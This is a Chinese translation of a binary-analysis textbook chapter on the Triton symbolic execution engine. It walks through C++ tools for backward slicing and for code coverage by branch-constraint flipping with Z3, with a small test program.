Triton 支持两种模式,符号仿真模式符号执行模式,分别对应静态(SSE)和动态(DSE)符号执行哲学。在这两种模式下,Triton 允许你具体化部分状态,以减少符号表达式的复杂性。回想一下,SSE 并不真正运行程序,而是模拟它,而符号执行模式则实际运行程序并将符号状态作为元数据进行跟踪。因此,符号仿真模式比符号执行模式要慢,因为它必须模拟每条指令对符号和具体状态的影响,而符号执行模式则“免费”获得具体状态。

共符执行模式依赖于 Intel Pin,并且必须从程序的开始运行分析程序。相比之下,使用符号仿真时,你可以轻松地仅仿真程序的一部分,如单个函数,而不是整个程序。在本章中,你将看到符号仿真模式和共符模式的实际示例。关于这两种方法的优缺点的更完整讨论,请参见第十二章。

Triton 首先是一个离线的符号执行引擎,意味着它一次只能探索一条路径。但它也具备快照机制,允许你无须每次都从头开始,就可以共符地探索多条路径。此外,它还集成了一个粗粒度的污染分析引擎,采用一种颜色。虽然在本章中你不需要这些功能,但你可以通过 Triton 的在线文档和示例了解更多。

Triton 的最新版本还允许你使用不同的二进制插桩平台代替 Pin,以及选择不同的约束求解器。在本章中,我将使用默认设置,即 Pin 和 Z3. 虚拟机上安装的 Triton 版本要求使用 Pin 版本 2.14(71313),你也会发现它已预装在 ~/triton/pin -2.14-71313-gcc.4.4.7-linux 中。

13.2 使用抽象语法树维护符号状态

在仿真模式和共符模式下,Triton 维护一个全局的符号表达式集合,将寄存器和内存地址映射到这些符号表达式,并维护一个路径约束列表,类似于第 12-1 图中的内容。Triton 将符号表达式和约束表示为抽象语法树(ASTs),每个表达式或约束都有一个 AST。AST 是一种树形数据结构,描述了操作和操作数之间的语法关系。AST 节点包含 Z3 的 SMT 语言中的操作和操作数。

例如,第 13-1 图显示了 eax 寄存器的 AST 在以下三条指令序列中的演变:

shr eax,cl
xor eax,0x1
and eax,0x1

对于每条指令,图中显示了两个并排的 AST:左侧是完整的 AST,右侧是带有引用的 AST。我们首先讨论图的左侧,然后我会解释带有引用的 AST。

完整的 AST

图示假设 eaxcl 最初映射到分别对应于 32 位符号值 α[1] 和 8 位符号值 α[2] 的无界符号表达式。例如,你可以看到,eax 的初始状态 ➊ 是一个根节点为 bv位向量)节点的 AST,该节点有两个子节点,分别包含值 α[1] 和 32. 这对应于一个无界的 32 位 Z3 位向量,如 (declare-const alpha1 (_ BitVec 32))

shr eax,cl 指令是一个逻辑右移操作,它使用 eaxcl 作为操作数,并将结果存储在 eax 中。因此,在执行此指令 ➋ 后,eax 的完整 AST 以 bvlshr(逻辑右移)节点作为根节点,子树表示 eaxcl 的原始 AST。请注意,右侧子树表示 cl 的内容,其根节点为 concat 操作,该操作将 24 个零位前置到 cl 的值中。这是必要的,因为 cl 只有 8 位宽,但必须将其扩展为 32 位(与 eax 相同的宽度),因为 Z3 使用的 SMT-LIB 2.0 格式要求 bvlshr 的两个操作数具有相同的位宽。

在执行 xor eax,0x1 指令 ➌ 后,eax 的 AST 成为一个 bvxor 节点,eax 的先前 AST 作为左子树,一个包含值 1 的常量位向量作为右子树。类似地,and eax,0x1 ➍ 会生成一个以 bvand 节点为根的 AST,同样,eax 的先前 AST 作为左子树,常量位向量作为右子树。

image

图 13-1:指令对寄存器抽象语法树的影响

带有引用的 AST

你可能注意到,完整的 AST 包含了大量的冗余:每当一个 AST 依赖于另一个时,整个前一个 AST 会作为子树出现在新的 AST 中。大型和复杂的程序中操作之间有许多依赖关系,因此之前的方案会导致不必要的内存开销。这就是为什么 Triton 使用引用更加紧凑地表示 AST,如 图 13-1 右侧所示。

在此方案中,每个 AST 都有一个类似 ref!1ref!2 等的名称,你可以在另一个 AST 中引用它。这样,你就不必复制整个先前的 AST,而只需在新 AST 中包含一个 引用节点 来引用它。例如,图 13-1 右侧展示了如何将 eax 的 AST 中的整个左子树(在执行 and eax,0x1 指令后)替换为一个引用节点,该节点引用先前的 AST,从而将 15 个节点压缩为 1 个节点。

Triton 提供了一个名为 unrollAst 的 API 函数,允许你将包含引用的 AST 展开成完整的 AST,以便你可以手动检查、操作它,或将其传递给 Z3。现在你已经了解了 Triton 的基本工作原理,接下来我们通过一些示例来学习如何在实践中使用 unrollAst 和其他 Triton 函数。

13.3 使用 Triton 进行反向切片

第一个示例实现了在 Triton 的符号仿真模式下的反向切片。这个示例是 Triton 附带的一个示例的通用版本,原始示例位于 ~/triton/pin-2.14-71313-gcc.4.4.7-linux/ source/tools/Triton/src/examples/python/backward_slicing.py。原始的 Triton 工具使用 Python API,但在这里我将使用 Triton 的 C/C++ API。你将在 第 13.5 节 中看到一个用 Python 编写的 Triton 工具示例。

回想一下,反向切片是一种二进制分析技术,它告诉你在程序执行的某个时刻,哪些之前的指令对给定寄存器或内存地址的值有所贡献。例如,假设你想要计算0x404b1e地址处关于rcx寄存器的反向切片,在清单 13-1 中显示的来自/bin/ls的代码片段。

清单 13-1: 来自 /bin/ls 的反汇编片段

  $ objdump -M intel -d /bin/ls

  ...
  404b00:  49 89 cb           mov    r11,rcx
  404b03:  48 8b 0f           mov    rcx,QWORD PTR [rdi]
  404b06:  48 8b 06           mov    rax,QWORD PTR [rsi]
  404b09:  41 56              push   r14
  404b0b:  41 55              push   r13
  404b0d:  41 ba 01 00 00 00  mov    r10d,0x1
  404b13:  41 54              push   r12
  404b15:  55                 push   rbp
  404b16:  4c 8d 41 01        lea    r8,[rcx+0x1]
  404b1a:  48 f7 d1           not    rcx
  404b1d:  53                 push   rbx
➊ 404b1e:  49 89 c9          mov    r9,rcx
  ...

反向切片包含所有对地址0x404b1ercx寄存器的值有贡献的指令➊。因此,切片应该包括以下清单中显示的指令:

404b03: mov rcx,QWORD PTR [rdi]
404b1a: not rcx
404b1e: mov r9,rcx

现在让我们看看如何使用 Triton 自动计算像这样的反向切片。你将首先学习如何构建一个反向切片工具,然后用它来切片清单 13-1 中显示的代码片段,生成与刚才看到的手动切片相同的结果。

由于 Triton 将符号表达式表示为相互引用的 AST,因此计算给定表达式的反向切片非常容易。清单 13-2 展示了反向切片工具的实现的第一部分。像往常一样,我省略了标准 C/C++头文件的包含。

清单 13-2: backward_slicing.cc

➊ #include "../inc/loader.h"
  #include "triton_util.h"
  #include "disasm_util.h"

  #include <triton/api.hpp>
  #include <triton/x86Specifications.hpp>

  int
  main(int argc, char *argv[])
  {
    Binary bin;
    triton::API api;
    triton::arch::registers_e ip;
    std::map<triton::arch::registers_e, uint64_t> regs;
    std::map<uint64_t, uint8_t> mem;

    if(argc < 6) {
      printf("Usage: %s <binary> <sym-config> <entry> <slice-addr> <reg>\n", argv[0]);
      return 1;
    }

    std::string fname(argv[1]);
    if(load_binary(fname, &bin, Binary::BIN_TYPE_AUTO) < 0) return 1;

➋   if(set_triton_arch(bin, api, ip) < 0) return 1;
     api.enableMode(triton::modes::ALIGNED_MEMORY, true);

➌   if(parse_sym_config(argv[2], &regs, &mem) < 0) return 1;
     for(auto &kv: regs) {
       triton::arch::Register r = api.getRegister(kv.first);
       api.setConcreteRegisterValue(r, kv.second);
     }
     for(auto &kv: mem) {
       api.setConcreteMemoryValue(kv.first, kv.second);
     }

     uint64_t pc         = strtoul(argv[3], NULL, 0);
     uint64_t slice_addr = strtoul(argv[4], NULL, 0);
     Section *sec = bin.get_text_section();

➍   while(sec->contains(pc)) {
       char mnemonic[32], operands[200];
➎     int len = disasm_one(sec, pc, mnemonic, operands);
       if(len <= 0) return 1;

➏     triton::arch::Instruction insn;
       insn.setOpcode(sec->bytes+(pc-sec->vma), len);
       insn.setAddress(pc);

➐     api.processing(insn);

➑     for(auto &se: insn.symbolicExpressions) {
         std::string comment = mnemonic; comment += " "; comment += operands;
         se->setComment(comment);
       }

➒     if(pc == slice_addr) {
         print_slice(api, sec, slice_addr, get_triton_regnum(argv[5]), argv[5]);
         break;
       }

➓     pc = (uint64_t)api.getConcreteRegisterValue(api.getRegister(ip));
     }

     unload_binary(&bin);

     return 0;
   }

要使用该工具,你需要通过命令行参数提供分析的二进制文件名、符号配置文件、开始分析的入口点地址、计算切片的地址以及与之计算切片的寄存器。

稍后我会解释符号配置文件的目的。请注意,这里的入口点地址仅仅是切片工具将模拟的第一条指令的地址;它不必与二进制文件的入口点相同。例如,为了切片清单 13-1 中的示例代码,你可以使用0x404b00作为入口点地址,这样分析就会模拟清单中显示的所有指令,直到切片地址为止。

backward_slicing的输出是切片中的汇编指令列表。现在让我们更详细地看看backward_slicing是如何生成程序切片的,从对必要的包含文件和main函数的深入讨论开始。

13.3.1 Triton 头文件和配置 Triton

在示例 13-2 中,你首先会注意到它包含了 ../inc/loader.h ➊,因为 backward_slicing 使用了在第四章中开发的二进制加载器。它还包含了 triton_util.hdisasm_util.h,这两个文件提供了一些我将很快描述的实用函数。最后,有两个 Triton 特定的头文件,都是 .hpp 扩展名:triton/api.hpp 提供了主要的 Triton C++ API,而 triton/x86Specifications.hpp 提供了 x86 特定的定义,比如寄存器定义。除了包含这些头文件,你还必须使用 -ltriton 链接,以便使用 Triton 的符号化仿真模式。

main 函数首先使用二进制加载器中的 load_binary 函数加载你正在分析的二进制文件。然后,它使用一个名为 set_triton_arch ➋ 的函数将 Triton 配置为该二进制文件的架构,该函数定义在 backward_slicing.cc 中,我将在第 13.3.4 节中详细讨论。它还调用 Triton 的 api.enableMode 函数启用 Triton 的 ALIGNED_MEMORY 模式,其中 api 是类型为 triton::API 的对象,triton::API 是 Triton 的主类,提供了 C++ API。

请记住,符号化的内存访问可能会大大增加符号化状态的大小和复杂性,因为 symbex 引擎必须建模所有可能的内存访问结果。Triton 的 ALIGNED_MEMORY 模式是一种优化,它通过假设内存加载和存储访问对齐的内存地址来减少符号化内存爆炸。如果你知道内存访问是对齐的,或者精确的内存地址对分析没有影响,你可以安全地启用此优化。

13.3.2 符号化配置文件

在你大多数的 symbex 工具中,你可能需要将一些寄存器和内存地址设置为符号化,或者将它们设置为特定的具体值。你将哪些状态设置为符号化,哪些使用具体值,取决于你正在分析的应用程序和你想要探索的路径。因此,如果你硬编码了关于符号化和具体化状态的决策,你的 symbex 工具就会变得是特定于应用的。

为了防止这种情况发生,我们来创建一个简单的 符号化配置文件 格式,在这个文件中你可以配置这些决策。这里有一个名为 parse_sym_config 的实用函数,它定义在 triton_util.h 中,你可以用它来解析符号化配置文件并将它们加载到你的 symbex 工具中。以下示例展示了一个符号化配置文件的例子:

%rax=0
%rax=$
@0x1000=5

在符号配置文件格式中,你通过 %name 来表示寄存器,通过 @address 来表示内存地址。你可以为每个寄存器或内存字节分配具体的整数值,或者通过分配值 $ 将其符号化。例如,以下配置文件将具体值 0 分配给 rax,然后将 rax 符号化,并将值 5 分配给内存地址 0x1000 处的字节。请注意,rax 是符号化的,但同时具有具体值,以推动仿真到正确的路径。

现在让我们回到示例 13-2。加载二进制文件以进行分析并配置 Triton 后,backward_slicing 调用 parse_sym_config 来解析命令行中指定的符号配置文件 ➌。此函数以配置文件的文件名作为输入,然后是两个参数,这两个参数都是指向 std::map 对象的引用,其中 parse_sym_config 加载了配置。第一个 std::map 将 Triton 寄存器名称(属于 triton::arch::registers_e 枚举类型)映射到包含寄存器内容的具体 uint64_t 值,而第二个 std::map 将内存地址映射到具体的字节值。

实际上,parse_sym_config 还接受两个可选参数,用于加载符号寄存器和内存地址的列表。我这里没有使用这些参数,因为为了计算切片,你只关心 Triton 构建的 AST,默认情况下,Triton 会为你没有显式指定符号的寄存器和内存位置构建 AST。^(4) 你将在 13.4 节看到一个需要显式符号化状态某些部分的例子。

紧接着调用 parse_sym_config 后,backward_slicingmain 函数包含两个 for 循环。第一个循环遍历刚加载的具体寄存器值的映射,并指示 Triton 将这些具体值分配给其内部状态。为此,你调用 api.setConcreteRegisterValue,该函数接受一个 Triton 寄存器和一个具体的整数值作为输入。Triton 寄存器的类型是 triton::arch::Register,你可以通过 api.getRegister 函数从 Triton 寄存器名称(属于 triton::arch::registers_e 枚举类型)中获得它们。每个寄存器名称的形式为 ID_REG_name,其中 name 是像 ALEBXRSP 等的大写寄存器名称。

同样,第二个 for 循环遍历具体内存值的映射,并使用 api.setConcreteMemoryValue 将这些值告诉 Triton,该函数接受一个内存地址和一个具体的字节值作为输入。^(5)

13.3.3 模拟指令

加载符号配置文件是backward_slicing设置代码的最后部分。现在,开始执行主仿真循环,该循环从用户指定的入口点地址开始仿真二进制中的指令,并持续直到到达要计算切片的指令。这种仿真循环是你用 Triton 编写的几乎所有符号仿真工具的典型特征。

仿真循环只是一个while循环,当切片完成或遇到超出二进制文件.text段的指令地址时停止 ➍。为了跟踪当前指令地址,存在一个名为pc的仿真程序计数器。

循环的每次迭代开始时,使用disasm_one➎反汇编当前指令,这也是我在disasm_util.h中提供的另一个工具函数。它使用 Capstone 获取包含指令助记符和操作数的字符串,这些在稍后会用到。

接下来,backward_slicing为当前指令➏构建一个类型为triton::arch::Instruction的 Triton 指令对象,并使用InstructionsetOpcode函数填充从二进制.text段中提取的指令操作码字节。它还使用setAddress函数将Instruction的地址设置为当前pc

在为当前指令创建 Triton 的Instruction对象后,仿真循环通过调用api.processing函数➐来处理Instruction。尽管api.processing函数名字通用,但它在 Triton 符号仿真工具中是核心部分,因为它执行实际的指令仿真,并根据仿真结果推进 Triton 的符号和具体状态。

在当前指令处理后,Triton 将构建表示受指令影响的寄存器和内存状态的符号表达式的内部抽象语法树。稍后,你将看到如何使用这些符号表达式计算反向切片。为了生成包含 x86 指令的切片,而非 SMT-LIB 2.0 格式的符号表达式,你需要跟踪每个符号表达式与哪个指令相关联。backward_slicing工具通过遍历所有与刚处理的指令相关的符号表达式列表,并用注释装饰每个表达式,注释中包含从disasm_one函数➑获取的指令助记符和操作数字符串,从而实现这一点。

要访问Instruction的符号表达式列表,可以使用它的symbolicExpressions成员,它是类型为std::vector<triton::engines::symbolic::SymbolicExpression*>的对象。SymbolicExpression类提供一个名为setComment的函数,允许你为符号表达式指定一个注释字符串。

当仿真达到切片地址时,backward_slicing 调用一个名为 print_slice 的函数,该函数计算并打印切片,然后跳出仿真循环 ➒。注意,get_triton_regnum 是另一个来自 triton_util.h 的工具函数,根据人类可读的寄存器名称返回对应的 Triton 寄存器标识符。在这里,它返回要切片的寄存器的标识符,并将其传递给 print_slice

当你调用 Triton 的 processing 函数时,Triton 内部会更新具体的指令指针值,以指向下一条指令。在每次仿真循环迭代结束时,你可以通过 api.getConcreteRegisterValue 函数获取这个新的指令指针值,并将其赋值给你自己的程序计数器(在这个例子中叫做 pc),以驱动仿真循环 ➓。请注意,对于 32 位的 x86 程序,你需要获取 eip 的内容,而对于 x64 程序,指令指针是 rip。现在,让我们看看之前提到的 set_triton_arch 函数如何配置 ip 变量,以便为仿真循环使用正确的指令指针寄存器标识符。

13.3.4 设置 Triton 架构

backward_slicing 工具的 main 函数调用 set_triton_arch 来配置 Triton 的二进制指令集,并获取该架构中使用的指令指针寄存器名称。列表 13-3 显示了 set_triton_arch 的实现方式。

列表 13-3: backward_slicing.cc (续)

  static int
  set_triton_arch(Binary &bin, triton::API &api, triton::arch::registers_e &ip)
  {
➊   if(bin.arch != Binary::BinaryArch::ARCH_X86) {
       fprintf(stderr, "Unsupported architecture\n");
       return -1;
     }

➋   if(bin.bits == 32) {
➌     api.setArchitecture(triton::arch::ARCH_X86);
➍     ip = triton::arch::ID_REG_EIP;
     } else if(bin.bits == 64) {
➎     api.setArchitecture(triton::arch::ARCH_X86_64);
➏     ip = triton::arch::ID_REG_RIP;

 } else {
      fprintf(stderr, "Unsupported bit width for x86: %u bits\n", bin.bits);
      return -1;
    }

    return 0;
 }

该函数接受三个参数:一个返回自二进制加载器的 Binary 对象的引用,一个 Triton API 的引用,以及一个 triton::arch::registers_e 类型的引用,用于存储指令指针寄存器的名称。如果成功,set_triton_arch 返回 0;如果出现错误,则返回 −1。

首先,set_triton_arch 确保它正在处理一个 x86 二进制文件(无论是 32 位还是 64 位) ➊。如果不是这样,它会返回错误,因为 Triton 当前无法处理除 x86 之外的其他架构。

如果没有错误,set_triton_arch 会检查二进制文件的位宽 ➋。如果二进制文件使用的是 32 位 x86,它会将 Triton 配置为 32 位 x86 模式(triton::arch::ARCH_X86) ➌,并将 ID_REG_EIP 设置为指令指针寄存器的名称 ➍。类似地,如果是 x64 二进制文件,它会将 Triton 的架构设置为 triton::arch::ARCH_X86_64 ➎,并将 ID_REG_RIP 设置为指令指针 ➏。要配置 Triton 的架构,你可以使用 api.setArchitecture 函数,它只需要传入架构类型作为参数。

13.3.5 计算反向切片

为了计算并打印实际的切片,当仿真到达切片地址时,backward_slicing 调用 print_slice 函数。你可以在 列表 13-4 中查看 print_slice 的实现。

列表 13-4: backward_slicing.cc (续)

   static void
   print_slice(triton::API &api, Section *sec, uint64_t slice_addr,
               triton::arch::registers_e reg, const char *regname)
   {
     triton::engines::symbolic::SymbolicExpression *regExpr;
     std::map<triton::usize, triton::engines::symbolic::SymbolicExpression*> slice;
     char mnemonic[32], operands[200];

➊    regExpr = api.getSymbolicRegisters()[reg];
➋    slice = api.sliceExpressions(regExpr);

➌    for(auto &kv: slice) {
        printf("%s\n", kv.second->getComment().c_str());
     }
➍   disasm_one(sec, slice_addr, mnemonic, operands);
     std::string target = mnemonic; target += " "; target += operands;

     printf("(slice for %s @ 0x%jx: %s)\n", regname, slice_addr, target.c_str());
  }

请记住,切片是相对于特定寄存器计算的,如 reg 参数所指定的。为了计算切片,你需要在模拟切片地址处的指令后,获得与该寄存器相关联的符号表达式。为此,print_slice 调用 api.getSymbolicRegisters,该方法返回一个将所有寄存器与其关联的符号表达式映射的映射表,然后通过该映射获取与 reg 相关联的表达式 ➊。接着,它使用 api.sliceExpressions 获取所有贡献于 reg 表达式的符号表达式的切片 ➋,该方法返回一个以整数表达式标识符为键,triton::engines::symbolic::SymbolicExpression* 对象为值的 std::map

现在你拥有了一片符号表达式,但你真正需要的是一片 x86 汇编指令。这正是符号表达式注释的目的,它将每个表达式与产生该表达式的指令的汇编助记符和操作数字符串关联起来。因此,print_slice 只需循环遍历符号表达式片段,使用 getComment 获取它们的注释,并将注释打印到屏幕上 ➌。为了完整性,print_slice 还会反汇编你正在计算切片的指令,并将其也打印到屏幕上 ➍。

你可以通过在虚拟机上运行 backward_slice 程序来尝试这个功能,如 示例 13-5 中所示。

示例 13-5:计算相对于 rcx 的回溯切片,起始地址为 0x404b1e

➊ $ ./backward_slicing /bin/ls empty.map 0x404b00 0x404b1e rcx
➋ mov rcx, qword ptr [rdi]
  not rcx
  (slice for rcx @ 0x404b1e: mov r9, rcx)

在这里,我使用了 backward_slicing 来计算你在 示例 13-1 中看到的来自 /bin/ls 的代码片段的切片 ➊。我使用了一个空的符号配置文件(empty.map),并指定了 0x404b000x404b1ercx 作为入口点地址、切片地址和需要切片的寄存器。正如你所见,这产生了与之前手动计算的切片相同的输出 ➋。

在这个示例中可以使用空的符号配置文件,是因为分析并不依赖于任何特定的寄存器或内存位置是符号的,并且你不需要任何特定的具体值来驱动执行,因为你正在分析的代码片段没有包含任何分支。现在,让我们来看一个需要非空符号配置的示例,以便在同一个程序中探索多个路径。

13.4 使用 Triton 增加代码覆盖率

由于回溯切片示例仅需要 Triton 跟踪寄存器和内存位置的符号表达式的能力,因此它并没有利用符号执行的核心优势:通过约束求解推理程序属性。在这个示例中,你将熟悉 Triton 在经典的符号执行(symbex)用例——代码覆盖率中的约束求解能力。

示例 13-6 展示了code_coverage工具源代码的第一部分。你会注意到,很多源代码和之前的示例是一样的或者相似的。实际上,我已经省略了set_triton_arch函数,因为它和backward_slicing工具中的完全相同。

示例 13-6: code_coverage.cc

   #include "../inc/loader.h"
   #include "triton_util.h"
   #include "disasm_util.h"

   #include <triton/api.hpp>
   #include <triton/x86Specifications.hpp>

   int
   main(int argc, char *argv[])
   {
     Binary bin;
     triton::API api;
     triton::arch::registers_e ip;
     std::map<triton::arch::registers_e, uint64_t> regs;
     std::map<uint64_t, uint8_t> mem;
     std::vector<triton::arch::registers_e> symregs;
     std::vector<uint64_t> symmem;

     if(argc < 5) {
       printf("Usage: %s <binary> <sym-config> <entry> <branch-addr>\n", argv[0]);
       return 1;
   }

   std::string fname(argv[1]);
   if(load_binary(fname, &bin, Binary::BIN_TYPE_AUTO) < 0) return 1;

   if(set_triton_arch(bin, api, ip) < 0) return 1;
   api.enableMode(triton::modes::ALIGNED_MEMORY, true);

➊  if(parse_sym_config(argv[2], &regs, &mem, &symregs, &symmem) < 0) return 1;
    for(auto &kv: regs) {
      triton::arch::Register r = api.getRegister(kv.first);
      api.setConcreteRegisterValue(r, kv.second);
   }
➋  for(auto regid: symregs) {
     triton::arch::Register r = api.getRegister(regid);
     api.convertRegisterToSymbolicVariable(r)->setComment(r.getName());
   }
   for(auto &kv: mem) {
     api.setConcreteMemoryValue(kv.first, kv.second);
   }
➌  for(auto memaddr: symmem) {
     api.convertMemoryToSymbolicVariable(
         triton::arch::MemoryAccess(memaddr, 1))->setComment(std::to_string(memaddr));
   }

    uint64_t pc          = strtoul(argv[3], NULL, 0);
    uint64_t branch_addr = strtoul(argv[4], NULL, 0);
    Section *sec = bin.get_text_section();

➍  while(sec->contains(pc)) {
      char mnemonic[32], operands[200];
      int len = disasm_one(sec, pc, mnemonic, operands);
      if(len <= 0) return 1;

      triton::arch::Instruction insn;
      insn.setOpcode(sec->bytes+(pc-sec->vma), len);
      insn.setAddress(pc);

      api.processing(insn);

➎    if(pc == branch_addr) {
        find_new_input(api, sec, branch_addr);
        break;
      }

      pc = (uint64_t)api.getConcreteRegisterValue(api.getRegister(ip));
    }

    unload_binary(&bin);

    return 0;
  }

要使用code_coverage工具,你需要提供命令行参数,指定要分析的二进制文件、符号化配置文件、分析的入口地址,以及一个直接跳转指令的地址。该工具假设你的符号化配置文件包含具体的输入,能够使得跳转选择两个可能路径中的一个(不管选择哪条路径)。然后,它使用约束求解器计算一个模型,该模型包含一组新的具体输入,能让跳转选择另一条路径。为了使求解器成功工作,你必须小心符号化所有与跳转相关的寄存器和内存位置。

如你在示例中看到的,code_coverage包含与之前示例相同的工具和 Triton 头文件。此外,code_coveragemain函数几乎与backward_slicingmain函数完全相同。和前一个示例一样,它首先加载二进制文件并配置 Triton 架构,然后启用ALIGNED_MEMORY优化。

13.4.1 创建符号变量

与之前的示例的不同之处在于,解析符号化配置文件的代码传递了两个可选参数(symregssymmem)➊给parse_sym_config。这些是输出参数,parse_sym_config根据配置文件将需要符号化的寄存器和内存位置的列表写入到这些参数中。在配置文件中,你需要符号化所有包含用户输入的寄存器和内存位置,这样约束求解器返回的模型就会为每个用户输入提供一个具体的值。

在从配置文件分配了具体值之后,main循环遍历符号化的寄存器列表,并使用 Triton 的api.convertRegisterToSymbolicVariable函数➋对它们进行符号化。符号化寄存器的同一行代码会立即在刚创建的符号变量上设置注释,指定寄存器的可读名称。这样,当你后来从约束求解器获取模型时,你就能知道如何将模型中的符号变量赋值映射回真实的寄存器和内存。

用于符号化内存位置的循环类似。对于每个需要符号化的内存位置,它构建一个 triton::arch::MemoryAccess 对象,指定内存位置的地址和大小(以字节为单位)。在此案例中,我已将大小硬编码为 1 字节,因为配置文件格式只允许按字节粒度引用内存位置。为了符号化 MemoryAccess 对象中指定的地址,你使用 Triton 函数 api.convertMemoryToSymbolicVariable ➌。之后,循环会设置一个注释,将新的符号变量映射到包含内存地址的人类可读字符串。

13.4.2 寻找新路径的模型

仿真循环 ➍ 与 backward_slicing 中的相同,只是这次它模拟直到 pc 等于你想找到新输入集的分支地址 ➎。为了找到这些新输入,code_coverage 调用一个名为 find_new_input 的独立函数,该函数在 列表 13-7 中显示。

列表 13-7: code_coverage.cc (续)

   static void
   find_new_input(triton::API &api, Section *sec, uint64_t branch_addr)
   {
➊   triton::ast::AstContext &ast = api.getAstContext();
➋   triton::ast::AbstractNode *constraint_list = ast.equal(ast.bvtrue(), ast.bvtrue());

     printf("evaluating branch 0x%jx:\n", branch_addr);

➌   const std::vector<triton::engines::symbolic::PathConstraint> &path_constraints
         = api.getPathConstraints();
➍   for(auto &pc: path_constraints) {
➎     if(!pc.isMultipleBranches()) continue;
➏     for(auto &branch_constraint: pc.getBranchConstraints()) {
        bool flag         = std::get<0>(branch_constraint);
        uint64_t src_addr = std::get<1>(branch_constraint);
        uint64_t dst_addr = std::get<2>(branch_constraint);
        triton::ast::AbstractNode *constraint = std::get<3>(branch_constraint);

➐      if(src_addr != branch_addr) {
          /* this is not our target branch, so keep the existing "true" constraint */
➑        if(flag) {
            constraint_list = ast.land(constraint_list, constraint);
         }
➒     } else {
        /* this is our target branch, compute new input */
        printf("    0x%jx -> 0x%jx (%staken)\n",
               src_addr, dst_addr, flag ? "" : "not ");

➓      if(!flag) {
          printf("    computing new input for 0x%jx -> 0x%jx\n",
                src_addr, dst_addr);
          constraint_list = ast.land(constraint_list, constraint);
          for(auto &kv: api.getModel(constraint_list)) {
            printf("      SymVar %u (%s) = 0x%jx\n",
                  kv.first,
                  api.getSymbolicVariableFromId(kv.first)->getComment().c_str(),
                  (uint64_t)kv.second.getValue());
          }
        }
      }
    }
  }
}

为了找到到达之前未探索分支方向的输入,find_new_input 向求解器提供必须满足的约束列表,以便到达目标分支,然后请求其返回一个满足这些约束条件的模型。回想一下,Triton 将约束表示为抽象语法树,因此为了编码分支约束,你需要构建相应的 AST。这就是为什么 find_new_input 首先调用 api.getAstContext 来获取对 AstContext 的引用(称为 ast)➊,这是 Triton 用于构建 AST 公式的类。

为了存储将模拟通向未探索分支方向的约束列表,find_new_input 使用一个 triton::ast::AbstractNode 对象,通过一个名为 constraint_list 的指针来访问 ➋。AbstractNode 是 Triton 用来表示 AST 节点的类。为了初始化 constraint_list,你将其设置为公式 ast.equal(ast.bvtrue(), ast.bvtrue()),即逻辑上的恒等式 true == true,其中每个 true 都是一个位向量。这仅仅是一种初始化约束列表的方法,使其成为一个语法上有效的公式,不强加任何约束,并且你可以很容易地向其中连接额外的约束。

复制和翻转分支约束

接下来,find_new_input 调用 api.getPathConstraints 来获取 Triton 在模拟代码 ➌ 时积累的路径约束列表。该列表以 std::vector 类型的 triton::engines::symbolic::PathConstraint 对象形式出现,其中每个 PathConstraint 都与一个分支指令相关联。此列表包含必须满足的所有约束条件,以便走到刚才模拟的路径。为了将其转换为新路径的约束列表,你需要复制所有的约束,除了你想要更改的分支的约束,并将其翻转到另一个分支方向。

为实现此功能,find_new_input遍历路径约束列表 ➍ 并复制或翻转每个约束。在每个PathConstraint内部,Triton 存储一个或多个分支约束,每个约束代表一个可能的分支方向。在代码覆盖的背景下,你只对多路分支感兴趣,比如条件跳转,因为单路分支(如直接调用或无条件跳转)没有新的方向可供探索。要确定PathConstraint对象pc是否代表一个多路分支,可以调用pc.isMultipleBranches ➎,如果是多路分支,返回true

对于包含多个分支约束的PathConstraint对象,find_new_input通过调用pc.getBranchConstraints获取所有分支约束,然后遍历列表中的每个约束 ➏。每个约束都是一个元组,包含一个布尔标志、一个源地址和目标地址(均为triton::uint64类型),以及一个表示分支约束的 AST。该标志表示在仿真过程中,分支约束所表示的分支方向是否被采用。例如,考虑以下条件分支:

4055dc:       3c 25                    cmp     al,0x25
 4055de:       0f 8d f4 00 00 00        jge     4056d8

在仿真jge时,Triton 创建一个包含两个分支约束的PathConstraint对象。假设第一个分支约束表示jge采用方向(即,当条件成立时,所采用的方向),并且这是仿真中采用的方向。这意味着PathConstraint中存储的第一个分支约束的标志为true(因为它在仿真中被采用),源地址和目标地址分别为0x4055dejge的地址)和0x4056d8jge的目标地址)。该分支条件的 AST 将编码条件al0x25。第二个分支约束的标志为false,表示仿真中未采用的分支方向。源地址和目标地址分别为0x4055de0x4055e4jge的后续地址),AST 编码条件为al < 0x25(或者更精确地,not(al0x25))。

现在,对于每个PathConstraintfind_new_input复制标志为true的分支约束,除了与要翻转的分支指令相关联的PathConstraint,对于这个分支,它复制标志为false的分支约束,从而反转该分支决策。为了识别要翻转的分支,find_new_input使用分支的源地址。对于源地址不等于要翻转分支地址的约束 ➐,它复制标志为true的分支约束 ➑ 并使用逻辑与(ast.land实现)将其附加到constraint_list

从约束求解器获取模型

最后,find_new_input将遇到与您想要翻转的分支关联的PathConstraint。它包含多个分支约束,源地址等于要翻转的分支地址 ➒。为了清晰地显示code_coverage输出中的所有可能分支方向,find_new_input会打印每个分支条件及其匹配的源地址,无论其标志如何。

如果标志为true,则find_new_input 不会将分支约束追加到constraint_list中,因为它对应的是你已经探索过的分支方向。然而,如果标志为false ➓,它表示尚未探索的分支方向,因此find_new_input会将此分支约束追加到约束列表中,并通过调用api.getModel将列表传递给约束求解器。

getModel函数调用约束求解器 Z3,并请求它返回一个满足约束列表的模型。如果找到模型,getModel会以std::map形式返回该模型,该映射将 Triton 符号变量标识符映射到triton::engines::solver::SolverModel对象。该模型表示一组新的具体输入,这些输入会导致程序走上之前未探索的分支方向。如果没有找到模型,则返回的映射为空。

每个SolverModel对象包含约束求解器分配给模型中相应符号变量的具体值。code_coverage工具通过遍历该映射并打印每个符号变量的 ID 和注释来向用户报告模型,注释包含相应寄存器或内存位置的可读名称,以及模型中分配的具体值(由SolverModel::getValue返回)。

要了解如何在实践中使用code_coverage的输出,接下来让我们在一个测试程序中尝试它,找到并使用新的输入来覆盖你选择的分支。

13.4.3 测试代码覆盖工具

清单 13-8 显示了一个简单的测试程序,您可以使用它来尝试code_coverage生成探索新分支方向输入的功能。

清单 13-8: branch.c

   #include <stdio.h>
   #include <stdlib.h>

   void
   branch(int x, int y)
   {
➊   if(x < 5) {
➋     if(y == 10) printf("x < 5 && y == 10\n");
       else        printf("x < 5 && y != 10\n");
     } else {
       printf("x >= 5\n");
     }
   }

   int
   main(int argc, char *argv[])
   {
     if(argc < 3) {
       printf("Usage: %s <x> <y>\n", argv[0]);
       return 1;
     }

➌   branch(strtol(argv[1], NULL, 0), strtol(argv[2], NULL, 0));

     return 0;
   }

